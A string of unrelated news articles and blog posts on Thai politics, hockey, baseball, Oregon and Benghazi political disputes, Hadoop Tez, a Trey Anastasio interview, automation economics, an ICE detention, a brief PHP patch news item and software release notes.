"I personally told Prime Minister Uncle Too that after we came out [from the barracks], we might not be able to step back, but have to move ahead with grace and bravery," Gen Prem said.
He also called on the armed forces to support the prime minister and his cabinet to work for the good of the country.
After the blessing, Gen Prayut gave flowers to Gen Prem, who also distributed Phra Luang Phor Thuad amulets to his well-wishers.
After the event, Gen Prayut went to the Centara Grand Hotel, Central World, where he presided over the opening ceremony of the Thailand Halal Assembly conference and exhibition.
In a speech, he told the gathering that the government will return happiness to all Thais — Buddhists, Muslims and people of other religions.From the Grand Rapids Griffins:
COLIN CAMPBELL RETURNS TO GRIFFINS
The Grand Rapids Griffins have signed right wing Colin Campbell to a one-year contract.
Campbell, 25, originally joined the Griffins near the end of the 2013-14 campaign after completing his collegiate career at Lake Superior State University, and he played the last two seasons in Grand Rapids while under contract to the Detroit Red Wings.
In 127 career games with the Griffins, Campbell has registered 24 points (13-11—24) and 92 penalty minutes along with a plus-17 rating, while adding three points (1-2—3) and 11 PIM in 19 Calder Cup Playoff contests. After a rookie 2014-15 season when he chipped in five points (2-3—5) and 29 PIM in 44 appearances, he logged 70 games in 2015-16, showing 18 points (10-8—18) and 58 PIM and tying for the team lead with two shorthanded goals. Campbell also played in all nine postseason games last spring, logging two points (1-1—2).
Prior to turning pro, the Pickering, Ontario, native tallied 64 points (27-37—64) and 64 PIM in 119 games with the LSSU Lakers. He missed 30 games as a junior while recovering from surgery but bounced back to rank among the team’s leaders with 14 goals (1st), 29 points (2nd) and three game-winning goals (1st) in 36 contests as a senior.A long drive, deep over the outfield wall … without a boost from performance-enhancing drugs.
It’s an old-time ideal that Adrian Beltre of the Texas Rangers has played out over and over again. Earlier this week, he smashed two home runs, closing in on a relatively exclusive honor: membership in the 400 home run club. (Beltre needs one more dinger to become a card-carrying member.)
In our view, and according to advanced stats, Beltre should be a Hall of Famer someday. But we worry that he won’t be because his conventional stats lack that Cooperstown shine.
Why do we think Beltre should be enshrined alongside the likes of Babe Ruth, Lou Gehrig and Bill Mazeroski (more on him in a minute)? Beltre is a rarity — a player who excels at both offense and defense. And in both cases, that excellence is best illustrated using sabermetric measurements.
For instance, in terms of per-plate appearance rates, Beltre ranks in the 80th percentile of his peers in isolated power, the 70th percentile in contact rate, the 50th percentile in speed and the 82nd percentile as an overall hitter. (His only real offensive weakness is a 27th-percentile walk rate.) And those are just the rate statistics; Beltre’s durability has also seen him notch the second-most at-bats of any active player and the 53rd-most of any player ever.
That longevity is a big reason why Beltre ranks ninth all-time in offensive wins above replacement (oWAR) among third basemen. Only one non-Hall of Famer, the easily forgettable Toby Harrah, ranks higher, and Beltre should pass him (plus Home Run Baker) this season, assuming that Beltre’s 2015 oWAR resembles his yearly output over the past five seasons. In fact, based on projections from Baseball Prospectus, there’s a good chance that the only players ahead of Beltre in oWAR by the end of his career will be offensive juggernauts Wade Boggs, George Brett, Chipper Jones, Eddie Mathews and Mike Schmidt.
And defensively, Beltre’s advanced numbers are among the best ever. Per defensive WAR (dWAR) and defensive runs saved above average (DRAA), Beltre is the second-best defensive third baseman in baseball history. Only Brooks Robinson, whom Reds manager Sparky Anderson had nightmares about after Robinson’s unforgettable defensive performance in the 1970 World Series, ranks better. According to dWAR, only 19 other players (across all positions) in baseball history were more valuable defensively than Beltre has been.
The defender most like Beltre at this point is Mazeroski, who made it to the Hall almost entirely on his defense. Beltre, by contrast, combines Mazeroski-like defense with vastly superior offensive stats and greater durability.
Yet, we worry about Beltre’s fate because his traditional measurements lag behind his advanced ones. The case against Beltre starts by saying that his nearly 400 home runs may be somewhat devalued by the steroid era — more than half of the club’s 51 members hit the majority of their home runs in the 1990s or 2000s — even if Beltre has never been implicated for steroid use. And Beltre’s other impressive credentials (four Gold Gloves, four Silver Sluggers and four All-Star Game nods) are good, but not great. Eric Chavez, for example, will only see Cooperstown as a visitor, but he won six Gold Gloves at third base. In addition, Beltre is unlikely to hit above.290 for his career or win a most valuable player award, and he has never won a World Series (only playing in a single Fall Classic).
Simply put, Beltre’s conventional résumé falls short of Cooperstown’s traditional benchmarks. While there is no generally accepted baseball equivalent of Basketball-Reference.com’s Hall of Fame probability metric, Bill James developed a few good ways to gauge a player’s traditional statistical portfolio: the Hall of Fame Standards and Monitor tests, as well as the Black Ink and Gray Ink tests. Together, those metrics measure how well a player met certain (admittedly arbitrary) benchmarks that, historically speaking, are strongly correlated with Hall of Fame induction.
In the “Ink” tests — which measure how often a player led the league and finished among the top 10 in important statistical categories — Beltre sits well behind the typical Hall member. He does fare somewhat better in the other, benchmark-based calculations (though he still ranks below average in both the Standards and Monitor tests), and at just 36 years old, Beltre still has time to add to his totals. But overall, he may not even have a coin flip’s chance at the Hall of Fame, according to traditional gauges. A logistic regression between the James metrics and Hall of Fame enshrinement for the eligible players on Baseball-Reference.com’s leaderboards would assign Beltre a mere 18 percent chance of induction if he retired today.
But our hope is that Hall of Fame voters are slowly moving past the older considerations. If they look instead at Beltre’s advanced numbers, they’ll see a Hall of Fame worthy outlier. Look at the Jaffe WAR Score system, or JAWS. Built on the foundation of WAR, JAWS attempts to strike a balance between players who compiled value over a long period of time (think Paul Molitor, whose JAWS was 57.5) and those who burned brightly for a shorter span of seasons (think Jackie Robinson, whose JAWS was 56.8). And the difference between Beltre’s actual JAWS and what we’d predict from his conventional credentials is stark.
Beltre is one of only 10 non-Hall of Famers in major league history to produce a JAWS rating above that of the average Hall of Famer, despite a predicted JAWS below the average Hall of Famer.
How can there be such a big difference? It’s partly because predicted JAWS doesn’t take into account defense (because it’s using conventional stats) and actual JAWS does. As we noted previously, defense is very hard to measure in a conventional sense. That’s especially the case at third base, where people can’t even agree on the best skill set for the position. It used to be impossible to say what exactly a player’s defensive range was, for instance. That’s why James’s metrics don’t make much of an attempt at incorporating defense, with the exception of taking into account a player’s position and where it sits on the defensive spectrum.
But now we can understand how valuable Beltre is defensively. And we know that his mixture of offensive and defensive production for a third baseman is very rare.
The question left is whether Hall of Fame voters will see things that way, conventions be damned.Updated at 1:27 p.m.
Senate President Peter Courtney and House Speaker Tina Kotek met with Gov. John Kitzhaber on Thursday morning and told him it was time to resign.
Senate President Peter Courtney statement concerning Gov. John Kitzhaber:
"He served in the Oregon House as a Representative. He served in the Oregon State Senate. He was the President of the Oregon State Senate for a record number of years. He was elected and has served as Oregon's governor for more than 12 years - longer than anyone else. No public servant has given more to Oregon.
"And there is another side. He is a friend. He is a son. He is a brother. He is a father. He is a human being.
"It is all of these things for which I hope he is remembered. I hope all of these things are his legacy. He deserves that. Governor John Albert Kitzhaber, MD. I am sorry.
"I know that together Oregon and her people will get through this."
At a 1 p.m. press conference to discuss the meeting, Courtney said the discussion with Kitzhaber was difficult.
Sen. Peter Courtney tells assembled press that he and House Speaker Tina Kotek asked Gov. Kitzhaber to resign in a meeting at the governor's office this morning, Feb. 12, 2015. Michael Lloyd/Staff
"He was upset," Courtney said. "He was defiant. He was struggling."
"This thing is evolving by the second."
Courtney said that he and Kotek have been trying to get security for Secretary of State Kate Brown, who would become governor if Kitzhaber were to step down.
Courtney said that he had received a note from the governor's staff earlier in the day saying that Kitzhaber was attempting to reach the secretary of state to "set up the transition."
"I don't know what that means," Courtney said.
Kotek said later that the governor has been consumed by all the legal investigations and media inquiries.
"The work of the state has to go on," she said, "and he's not able to focus on that right now."
"It has become clear to both of us that the ongoing investigations surrounding the governor and Cylvia Hayes have resulted in the loss of the people's trust," Kotek said. "Our actions today and our actions going forward are focused on rebuilding the public's trust in state government."
Courtney also confirmed on Thursday that he had met with Kitzhaber on Tuesday. Courtney said that he left their meeting believing that the governor was going to resign.
"He led me to believe he was going to resign. He wanted to do it over a transition period with the secretary of state," Courtney said. "I supported that. I even had a statement prepared."
Adding that he had been sworn to secrecy, Courtney continued "the next thing I knew a bombshell happened yesterday... I can't fix that."
Courtney and Kotek had met with their fellow lawmakers earlier Thursday to let them know about the meeting with the governor.
As Sen. Rod Monroe, D-Portland, left that meeting, he said simply, "Sad day."
"I've known John Kitzhaber longer than anyone else in the building," he said. "This is a sad day for Oregon."
The news comes following an unusual statement issued by Secretary of State Kate Brown on Thursday morning. Brown described how she had received a call from the governor on Tuesday afternoon asking her to return to Portland for a face-to-face meeting.
"I got on a plane yesterday morning and arrived at 3:40 in the afternoon. I was escorted directly into a meeting with the Governor. It was a brief meeting. He asked me why I came back early from Washington, DC, which I found strange. I asked him what he wanted to talk about. The Governor told me he was not resigning, after which, he began a discussion about transition," she wrote in the statement.
"This is clearly a bizarre and unprecedented situation."
Lobbyists and legislators said Brown's statement added to a a political drama that was unlike anything they had ever seen before.
"This is flat-out Greek tragedy," said Sen. Elizabeth Steiner Hayward, D-Portland. "Kitzhaber has done so many good things for the state."
We'll continue to add to this story.
-- Laura Gunderson and Jeff Mapes and Ian KullgrenHouse Democrats are asking for a chance to review the GOP’s report on the Benghazi terrorist attacks before it is released to the public.
The five Democrats on the House Select Committee on Benghazi sent a letter to Chairman Trey Gowdy Harold (Trey) Watson GowdyThe family secret Bruce Ohr told Rod Rosenstein about Russia case Trey Gowdy joins Fox News as a contributor Congress must take the next steps on federal criminal justice reforms MORE (R-S.C.) proposing a “joint report” on Benghazi that starts with findings shared by lawmakers in both parties “followed by areas on which reasonable people may disagree.”
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Failing that, Democrats said they should be able to review a draft copy of the Republican-led committee’s work, in order to add “corrections, additional context or other input before you release it publicly.” In exchange, Democrats said they would let Republicans review their own opposing report for the same purpose.
“In our view, the worst approach would be for you to publicly release a partisan report drafted only by Republicans that has never been reviewed by nearly half of the select committee members,” ranking member Elijah Cummings (D-Md.) and the committee’s four other Democrats wrote.
“Such a report would not have the benefit of robust vetting by all select committee members and, as a result, very likely would include critical errors and other deficiencies."
Matt Wolking, a spokesman for the Benghazi committee, appeared to dismiss the Tuesday letter, suggesting Democrats would not be able to edit the report ahead of time.
“These do-nothing Democrats pretending to be interested in the truth are the same ones who refused to help with the investigation and wasted millions of dollars trying to undermine and obstruct it,” Wolking said in a statement.
“It’s obvious the Democrats aren’t serious, and their two-faced antics and dishonest distortions are just part of the political game they’re playing on the taxpayers’ dime,” he added.
“While they stick to knocking down their own straw men and trying to prove their predetermined political conclusions, Republicans are following the facts and working to provide answers to the families of the victims and the American people,” he added.
After more than two years of work, the Benghazi committee is preparing to release its report at some point in June, Gowdy said in an interview in May. That would put the release of the document before the Democratic National Convention, when Hillary Clinton Hillary Diane Rodham ClintonREAD: Cohen testimony alleges Trump knew Stone talked with WikiLeaks about DNC emails County GOP in Minnesota shares image comparing Sanders to Hitler Holder: 'Time to make the Electoral College a vestige of the past' MORE — who was secretary of State at the time of the Benghazi attacks — could become her party's nominee for president.
Democrats on the Benghazi committee have largely rejected the efforts of Republicans preparing the report to analyze the 2012 violence in Libya, which left four Americans dead. Gowdy limited the ability of the Democrats to review interviews and other documents after they publicly released interview transcripts that were meant to be secret.
GOP lawmakers have repeatedly blasted Democrats for releasing what they claim are selectively edited portions of interviews in order to discredit the investigation.
Democrats, in turn, have accused Republicans of leaking snippets of interviews to boost their own narrative about the Obama administration’s failures during the Sept. 11, 2012, attack on two U.S. facilities in Libya.
Democrats have accused Gowdy and his colleagues of launching a witch hunt against Clinton ahead of her likely nomination for president. Critics of the panel’s work have claimed that the protracted nature of its investigation was designed to do maximum damage to her campaign.
Because of their staunch opposition to much of the panel’s work, many have assumed that its minority Democrats would oppose the majority’s report and instead release their own.
Not allowing Democrats to review the GOP’s work before a report is released would “inevitably” be seen as “the partisan capstone to the select committee’s two-and-a-half-year attack on Secretary Clinton,” Democrats wrote in their Tuesday letter. The committee was formed by a House vote in May of 2014.
Despite the friction on the House panel, lawmakers from the two parties do appear to agree on at least one point: the need to release interview transcripts alongside the report itself.
“I’m going to lay out the transcripts. I’m going to give you the exhibits,” Gowdy said on MSNBC last month. “I don’t want you to take my word for it.”
Four Americans died during the 2012 terror attack in the Libyan city of Benghazi, including Ambassador Christopher Stevens. The drama was turned into a Hollywood movie this year and has been repeatedly cited by critics of Clinton’s tenure as secretary of State, including presumptive Republican presidential nominee Donald Trump Donald John TrumpREAD: Cohen testimony alleges Trump knew Stone talked with WikiLeaks about DNC emails Trump urges North Korea to denuclearize ahead of summit Venezuela's Maduro says he fears 'bad' people around Trump MORE.
— Updated at 2:26 p.m.The Montreal Canadiens traded P.K. Subban to the Nashville Predators for Shea Weber on Wednesday in a blockbuster swap of star defencemen.
Many fans and media in Montreal reacted with shock or even outrage when the Canadiens announced that the popular Subban was leaving the team after seven seasons. The deal came two days before a no-trade clause was to go into effect on a long-term contract averaging US$9 million per season.
"Right now I'm going to a team that wants me," Subban told Nashville media on a conference call from Paris, adding he felt "a whole lot closer" to winning a Stanley Cup after the trade. "I'm just happy to be in a situation where I can excel and feel good about myself coming to the rink every day."
Montreal, thank you for the incredible support!!!! <a href="https://twitter.com/PredsNHL">@Preds |
Kenyon Lockyer Corbell
Off-World (extraterrestrial) nanotechnology.Tez is one of the marvelous ironies of the fast moving big data and open source software space, a piece of brilliant technology that was obsolete almost as soon as it was released. In the second in my series of short posts on Hadoop data processing frameworks, I’ll look at the bouncing baby born of the Stinger Initiative, and point out where it’s ugly.
In 2013, Hadoop 2.0 (2.2 really) with YARN (Yet Another Resource Negotiator) made Hadoop essentially an operating system that could coordinate many different types of applications on a single cluster. MapReduce was no longer the only game in town. This meant that improving MapReduce was no longer the only way to improve Hadoop. People in the Hadoop community were beginning to realize that the shortcomings of MapReduce could not be solved without a major overhaul.
About that same time, an open source project was launched, mainly sponsored by Hortonworks, called the Stinger Initiative. It’s main goal was to improve the speed of Hive, a SQL-like interface that ran on top of MapReduce. Since MapReduce was the problem, they needed a replacement.
So, a new data processing framework was born, Tez.
Data Processing Paradigm (How does it work?)
Tez works very similar to MapReduce. This is both its greatest strength and its greatest weakness.
One technological advancement in Tez is the use of a DAG (Directed Acyclical Graph) to define workflows. Dataflow DAGs are a strategy used for many years in the HPCC (High Performance Cluster Computing) world. A DAG allows the developer to define the steps he wants taken without focusing on the low level aspects of execution. The parallel execution of that graph is handled by an automated optimizer at runtime. This allows a lot of flexibility in execution environment, and greatly simplifies, and therefore speeds, development. Having workflows defined as a DAG also allows the optimizer to look at the workflow as a whole when planning the execution, and plan when data can be held in memory and when it needs to hit disk.
That last bit provides another advancement Tez has over MapReduce, data pipelining. No more MapReduce pre-clogged pipes or kangaroo data processing. Tez still has the Mapper and Reducer as the building blocks of all jobs, but if the job doesn’t require writing each intermediate step to disk, then it doesn’t. That means the execution engine can read data from disk, perform several Map and Reduce processing steps in memory, and then write the results to disk.
This means that, Tez jobs have as much as an order of magnitude increase in processing speed over the same workflow written in MapReduce.
No matter who you are or what job you’re doing, you can’t argue with jobs that are easier to build and execute as much as 10 times faster.
Interface (How do you use it?)
Because Tez jobs are logically very similar to MapReduce jobs, the API calls are also very similar. This was one of the goals of the Stinger Initiative, to make a MapReduce replacement that was highly compatible with things like Hive that used MapReduce to do their work. This means that Hive, Pig, Cascading and other interfaces that generate MapReduce can now generate Tez code.
Weak Areas (What is it NOT good for?)
The biggest tragedy of Tez doesn’t have anything to do with Tez, itself. Tez is a brilliant advancement on the MapReduce paradigm, a marvelous move forward that solves the biggest weakness of its predecessor. The problem is that the apple didn’t fall far enough away from the tree.
Tez still tightly conforms to the strict Map Shuffle Reduce pattern of MapReduce. Jobs that do not fit that pattern well are just as difficult to build with Tez as they are with MapReduce. Tez is MapReduce with turbo boost. This means that it still isn’t very good at sophisticated machine learning or other complex operations that don’t match up to a Map Shuffle Reduce pattern.
Every other data processing framework that I know of for Hadoop, other than MapReduce, also uses DAGs for ease of development, data pipelining and execution speed. The difference is that other frameworks actually looked at the problem of parallel data processing on Hadoop clusters in completely different ways, and came up with different strategies for handling data. This gives them the exact same speed boost that Tez has from the DAG strategy, plus other advantages, making Tez already outclassed.
Best Use Case (What is it good for?)
The biggest strength of Tez, ironically, is how tightly it conforms to the MapReduce programming paradigm. Because the two frameworks are logically well-matched, it is relatively easy for MapReduce programmers to learn how to use Tez. It is fairly low difficulty for applications that support MapReduce to also support Tez.
One of the main goals of the Stinger Initiative was to find a way to speed up Hive. While Hive is the most versatile and capable of the many SQL or SQL-like ways of accessing data on Hadoop, it is also the slowest. With MapReduce as its execution engine, it was so slow that human comfortable interactive query speeds weren’t really an option. You put in your query, went to lunch, and hoped it was done by the time you got back. Not exactly interactive.
Tez gives Hive a speed boost that brings it closer to the level of true interactive speed; minutes or even seconds on queries that took hours before. Hive’s greatest strength is its ability to define schema at query time, with no limits on data scale. Cloudera’s Impala, for instance, is faster, but lacks Hive’s breadth of capabilities. Hive on Tez brings Hive into the realm of tolerable speed for most jobs while keeping all that power.
If you need to do interactive speed queries on heterogenous, poorly defined data (the kind of messy data Hadoop is famous for), Hive on Tez is arguably the very best engine for the job. In that way, the Stinger Initiative accomplished its main goal. This may change as Hive on Spark develops further, but for now, Hive on Tez can’t be beat.
Tez is also good for the same kind of slow batch, large scale, chugging along, get it done eventually jobs that MapReduce works well for, such as ETL (Extract Transform Load) style jobs. The difference is that Tez makes slow batch jobs faster. Even a job that it won’t hurt to have run in 20 hours would be better if it could run in 2 hours on the same hardware, and was easier to build.
With Tez in existence, I really can’t think of any reason why people would continue to use MapReduce for new work. Tez does everything MapReduce does, only faster.
General Comparison to Other Options
MapReduce was the original Hadoop data processing framework. It parallelizes data processing across a cluster, and therefore can process data at unlimited scale. But MapReduce is surprisingly slow, difficult to use, and overly rigid, and its fundamental design guarantees that it will continue to be slow, difficult and rigid.
MapReduce and Tez use the same logical programming paradigm, but Tez uses dataflow DAGs for resource optimization and data pipeline planning. This means that Tez provides an order of magnitude speed boost over MapReduce, but has the same overly rigid design limitations.
Other options I’ll look at in later posts are Spark, DataFlow, Storm, Heron and Flink.The October_November issue of Relix features David Fricke’s cover story on Trey Anastasio in which Anastasio discusses his role in the Fare Thee Well shows with the members of the Grateful Dead, as well as his ongoing efforts with Phish and his new solo album, Paper Wheels. Relix subscribers will receive the issue shortly (and if you’re not a current subscriber but you sign-up by 10/29 you’ll receive the issue). The October_November Relix is also available for online order.
“OK,” Trey Anastasio says, leaning across a table in a New York café with a delighted gleam in his eyes, “here are four things I learned at Dead Camp.”
Dead Camp is the Phish guitarist’s euphemism for the first half of 2015, his short but intense spell as a working member of the band that has been a constant spiritual presence and creative challenge in his life since he was a teenager: the Grateful Dead. On January 5, Anastasio was in Miami, having just finished Phish’s annual run of New Year’s-week concerts, when he received an email from Phil Lesh, the Dead’s bassist, asking him to join him and the other surviving members of that group—guitarist Bob Weir and drummers Bill Kreutzmann and Mickey Hart—for a series of July 4th weekend reunion performances at Soldier Field in Chicago.
The concerts, dubbed Fare Thee Well, would commemorate two profound events, the 50th anniversary of the Dead’s founding in 1965—in the embryonic ferment of psychedelic San Francisco—and the 20 years since their final show—in that venue, on July 9, 1995—with Jerry Garcia. The band’s founding guitarist and all-but-official helmsman, Garcia died a month later, on Aug. 9, of a heart attack after a lifetime of battles with drug addiction, weight problems and diabetes. He was 53.
Anastasio—who saw his first Dead concert at 15, in May 1980 at the Hartford Civic Center in Connecticut—quickly accepted the invitation, then withdrew from all of his other musical work, including Phish and his Trey Anastasio Band. For the next five months, the guitarist, 51, embarked on a thorough, monk-like immersion in Garcia’s signature tone, expressive vocabulary and improvisational drive across a 30-year body of studio and live recordings. By mid-June, Anastasio was rehearsing in Northern California with the Dead and their other guests for this run, keyboard players Bruce Hornsby, a touring member of the Dead in 1990-92, and Jeff Chimenti, a regular presence in Dead-member projects. The education peaked—with transcendence—at two preview gigs on the Dead’s home turf, on June 27 and 28 at Levi’s Stadium in Santa Clara, Calif., then in Chicago on July 3-5.
“I was always telling the guys in the Dead—I learned so much,” Anastasio says earnestly over breakfast on a recent late-summer morning, in a breakneck two-hour conversation regularly punctuated by staccato laughter and declarations of gratitude. “This is just four of the things I got from the experience. I already knew them,” he points out, grinning. “But now I really know them.”
The first: “There has never been a great rock band that hasn’t been built around an irreplaceable drummer,” Anastasio says. “That guy, in the Dead, is Bill Kreutzmann. I stood there for five days, watching people dancing. Bill is the heartbeat—Mickey, too. Together, they are one heart. Once the music started”—Anastasio hums the opening riff of “Truckin’,” the first song on the first night in Santa Clara—“I was like, ‘I know who’s driving this ship.’”
The second lesson: “Bobby is Mr. Slow Down,” Anastasio goes on. “He is patient, comfortable—no rush. Sometimes I’d be like, ‘You really want to play this song that slow?’” When Anastasio played the entrance lick in “Deal,” the last song of the first set on July 4, it was “at a Jerry Garcia Band tempo from 1982.” It was also “a little too fast.” When the song was over, Anastasio walked over to Weir. “I said, ‘That was too fast, wasn’t it?’ He said, ‘Yeah.’ But he was totally cool. He played it anyway.”
Something else Anastasio discovered about Weir: “He’s a rock singer. Sometimes the music would get loose, a little floundering—no one knows where it’s going to go. Then Bobby would step up, like in ‘Samson And Delilah’”—in the first set on July 5. “When he started singing like that, boom, 80,000 people came together. It didn’t matter if it was in tune. That wasn’t the point. I could feel him unifying that stadium.”
Anastasio’s fourth revelation at Dead Camp: Forget the clock. “I love to jam,” Anastasio says brightly. “I love to jam long. But even for me, the time would come when I’d think, ‘This is too noodle-y. Let’s play the next song.’ I would do something, a lick, that gently alluded to it. Then Phil would look over at me and put his hand up, like, ‘What’s your rush, dude?’
“They weren’t done,” Anastasio concedes cheerfully. “That thing from the Acid Tests”—the 1965 and ‘66 LSD communions in San Francisco that were among the Dead’s first gigs—“was still there. ‘We’re not here to entertain you.’”Marian Hossa’s teammates knew about his skin disorder in recent seasons. They knew that it was painful and ugly, that it was the reason behind the extra days off and the extra time preparing for a game. And some of them even knew it eventually might end his career.
‘‘It’s not like this happened overnight,’’ captain Jonathan Toews said. ‘‘A lot of the guys that were aware of his situation all kind of knew that that decision would have to be made.’’
But that didn’t make Hossa’s decision to sit out the 2017-18 season — and probably the rest of his career — any easier to handle.
‘‘It’s too soon,’’ Toews said. ‘‘You saw what he was doing out there on the ice. It doesn’t say much, but in my opinion he was by far the best player in the playoff series against Nashville. He’s got a ton left on the table. I could almost see him being one of those [Jaromir] Jagrs that is playing for another six or seven years, probably. It’s tough to see.’’
Marian Hossa (left) and Jonathan Toews won three Stanley Cups together. (AP Photo)
Several players talked about the positive impact Hossa had on their careers. Toews said Hossa taught him to be positive and not to get so down on himself. Brandon Saad said Hossa was a player after whom he modeled himself. Patrick Kane called him ‘‘a great human being, a great player.’’ And Patrick Sharp called Hossa the model of professionalism.
‘‘He became a good friend over the years,’’ Sharp said. ‘‘We both had weddings and kids. He has two daughters, and I do.... He’s going to be missed, definitely, on the ice in Chicago. But for guys like me, he’s going to be missed in the locker room, as well.’’
As for the business side of Hossa’s absence, the Hawks will wait until after the season starts to put him on long-term injured reserve, so they can maximize their salary-cap flexibility. It might allow them to make a big signing or trade early in the season because they’re pretty much closed for business now.
‘‘What personnel moves we’ll make [will] probably be dictated by where we’re at when we get to October, how the team is playing, what areas are strong, what areas we want to try to add to,’’ general manager Stan Bowman said. ‘‘I wouldn’t say we have an exact plan that we’re just going to execute.’’
Frenemies
Like Kane, center Artem Anisimov said he was blindsided by the trade that sent Artemi Panarin to the Blue Jackets.
‘‘I was shocked, actually,’’ Anisimov said. ‘‘It’s hard to see my close friend going to my old team. But on the ice, when we play each other, I’m going to try to hit him and do whatever it takes to win the game.’’
Wingels injured
Free-agent signee Tommy Wingels suffered a fractured left foot during offseason workouts and will miss six to eight weeks of training. Bowman said Wingels is expected to be 100 percent in time for camp.
‘‘We don’t anticipate any long-term issues,’’ team doctor Michael Terry said.
Follow me on Twitter @MarkLazerus.
Email: mlazerus@suntimes.com
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Patrick Kane ‘disappointed’ by Artemi Panarin trade
New voices hope to inject new life into Blackhawks’ coaching staffThe dynamics of automation cannot be properly discussed without considering who controls the means of production.
Who owns the robots, and why does this matter? To understand why the questions of ownership and control are important to understanding the future of automation, I think it is useful to look at the rather amusing case of a tech worker who, in early 2013, was found out to have been outsourcing his own job to China. From BBC:
A security check on a US company has reportedly revealed one of its staff was outsourcing his work to China. The software developer, in his 40s, is thought to have spent his workdays surfing the web, watching cat videos on YouTube and browsing Reddit and eBay. He reportedly paid just a fifth of his six-figure salary to a company based in Shenyang to do his job.
Unsurprisingly, the worker appears to have been fired.
It’s interesting to contrast this particular case of outsourcing with what is generally thought of in typical discussions. In general, outsourcing is something that draws the ire of leftists, progressives, and labor activists in the United States. One of the primary arguments (if not the primary argument) against outsourcing is how it undermines the position of the American worker, and how it has contributed to stagnant wages and standards of living for the past few decades.
And yet, in this particular case of a worker taking it upon himself to outsource his job, it is clear that the worker has benefited greatly from the arrangement; he pays $50k/year to a Chinese consulting company to do all of his work, for which he receives ~$250k/year, and then spends the whole day lounging about and watching cats do funny things. (For the record, I think this video of a baby bear and a baby wolf playing trumps most cat videos).
(Also, the fact that the worker in question is making a salary that puts him rather close to being part of “The 1%” should probably be shelved for a later discussion; for now, lets just go with the standard Marxist definition of class, in terms of how much control an individual has over the means of production: factories, mines, breweries, power plants, and so on).
The difference between “bad outsourcing” (“bad” from the labor/leftist perspective) and this case of outsourcing should be obvious. “Bad outsourcing” is done on the company’s terms–that is, in a situation where the worker has no say in the matter, and where the company boss outsources a job and pockets the difference between cheap foreign labor and American labor. Outsourcing by the workers, on the other hand, is just that: outsourcing done on terms dictated by the worker, where the worker outsources her own job and pockets the difference.
Now, extend this observation to automation. As it stands, there is a whole lot of concern (particularly, it seems, from economists) that the increasing rate of automation, roboticization, and cybernation is creating a secular decline in employment, leaving an increasing number of millions structurally unemployed, and severely limited in their ability to access the theoretical benefits of mass automation. But just as with outsourcing, the underlying reason why workers are losing out is because they hold little to no power in the process of implementing automation. Labor does not control the means of (automated) production; capital does.
When a company decides to automate their factory, the workers are simply replaced–they gain nothing, and lose a whole lot. The cheaper marginal cost of automated production is then reflected in the profit margins of the company and in the reduced cost to consumers (a group which may or may not overlap with the newly unemployed workers). But imagine a scenario where instead of replacing the workers, automation was implemented by the workers, in a manner similar to how outsourcing was implemented by the tech worker discussed above. Perhaps the workers decide to make use of their free time by teaming up, taking some courses on mechanical design and feedback control logic, developing an unnecessarily complicated QA procedure, and automating the factory themselves. Now, the reduced costs from automated production are reflected in far more leisure time for the workers and in reduced costs to consumers; and its debatable whether the company even loses out (putting aside questions of opportunity costs), since the rate of profit remains the same.
This thought experiment emphasizes the importance of understanding who holds power in a capitalist economy, and what this implies for how automation, roboticization, and cybernation will affect wages, employment, and living standards. If workers, and the masses in general, are not in control of how technology is implemented, then the benefits will be disproportionately (and in some cases, entirely) accrued by the already wealthy and powerful. On the other hand, if common people can take the initiative to study and learn the technical and scientific knowledge necessary to take control of this process, then the benefits will be spread across society in a much more free, open, and equitable manner.
This is why I think movements like the open-source movement, and institutions like Copyleft and Creative Commons, have so much potential for radically altering our political economy. These movements help ensure that there is at least some level of free and open access to the educational and developmental resources necessary for the general masses to engage in autonomous research, development, and implementation of high technology, in ways that socialize the benefits.
The main limitation of these organizations and spaces, however, is that they seem to be mostly populated by people who are otherwise already engaged in science and technology, and are pursuing free and autonomous development as a hobby. The people who would most benefit from learning and developing their own robotic or cybernetic systems are those who are absent from these spaces: low-skilled workers, unemployed people, marginalized inner-city communities, and so on. Thus, there is a huge need for people with a technical background to transfer their skills and expertise to people without such skills, and to help establish cooperatives, non-profits, organizations, etc. that enable workers and communities to develop and implement high technology on their own terms.
The potential for such a movement is huge. Both types of spaces–community/worker organizations, and open-source, pseudo-anti-capitalist technology organizations–exist. The immediate task, then, is to establish networks between the two spaces, and create and expand projects that re-appropriate technology for the good of general society. This would place us on a path to putting the means of production and distribution into the hands of communities and workers–and ensuring a future where automation will benefit all, rather than the few.
AdvertisementsU.S. Immigration and Customs Enforcement agents agents detained an undocumented immigrant who had been in the United States for two decades while he was dropping his daughters off at school in Los Angeles.
Romulo Avelica-Gonzalez, 48, was picked up by ICE this past Tuesday, Los Angeles TV station KABC reports. His daughter, Fatima Avelica, used her phone to record the agents taking him into custody.
Avelica-Gonzalez is an undocumented immigrant from Mexico and has lived in the United States for over 25 years, according to CNN.
“I never thought we’d actually go through something like this,” another daughter, Brenda Avelica, told KABC. “It’s terrible to feel and see your family being broken apart.”
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A statement from ICE says Avelica-Gonzalez received a DUI in 2009, and had an outstanding order of removal that was over 2 years old.
An incident involving an incorrect car registration from 20 years ago contributed to agents putting Avelica-Gonzalez into custody, KABC also reports.
Write to Alana Abramson at Alana.Abramson@time.com.Patches have been flung out to cover vulnerabilities in PHP that led to remote code execution and buffer overflows.
The flaws were detailed this week by Swiss researchers High-Tech Bridge in versions 5.4.33, 5.5.17 and 5.6.1 on a machine running Ubuntu 14.04.1 LTS and the Radamsa fuzzer.
A patch issued last month for CVE-2014-3669 closed an unserialised function which researcher Symeon Paraschoudis detailed in a technical walk through.
"As expected *p pointer (stored in edx) now points to invalid memory address and continuing the execution we are going to dereference this address and eventually crash," Paraschoudis said in the post.
"To sum up this is a read access violation and probably not exploitable, but cases like CVE-2013-7226 (a second overflow) can lead to a heap-based buffer overflow and probably allow potential attackers to gain remote code execution."
PHP developer Stanislav Malyshev dropped a patch days after the bug release preventing the crash, including those for two other PHP issues (CVEs 204-3668 and 2014-2670). ®After many years of waiting, SynergyKM 1.0 is here!
Release Notes
Version 1.0, released February 19, 2014:
– First stable release
– Brand new interface! Prefpane GUI remade from ground-up to make configuration even easier
– New Retina artwork and support
– Added “Start at Login” option (before it would start or not start at login based on if it was last on or off)
– Now shows IP and hostname in prefpane (no more switching to network panel to find your IP!)
– Added recent servers list in new quick connect menu
– Added recent status history view (data is shown live from synergyd.log)
– Client Mode Only: Prefpane now allows you to change client screen name (instead of having to change computer name in sharing pane), and now doesn’t have to be the same as the local hostname
– Now works with Mac OS X 10.6 (Snow Leopard) – 10.9 (Mavericks)
– Upgraded Synergy Core to 1.4.16
[Optimizations]
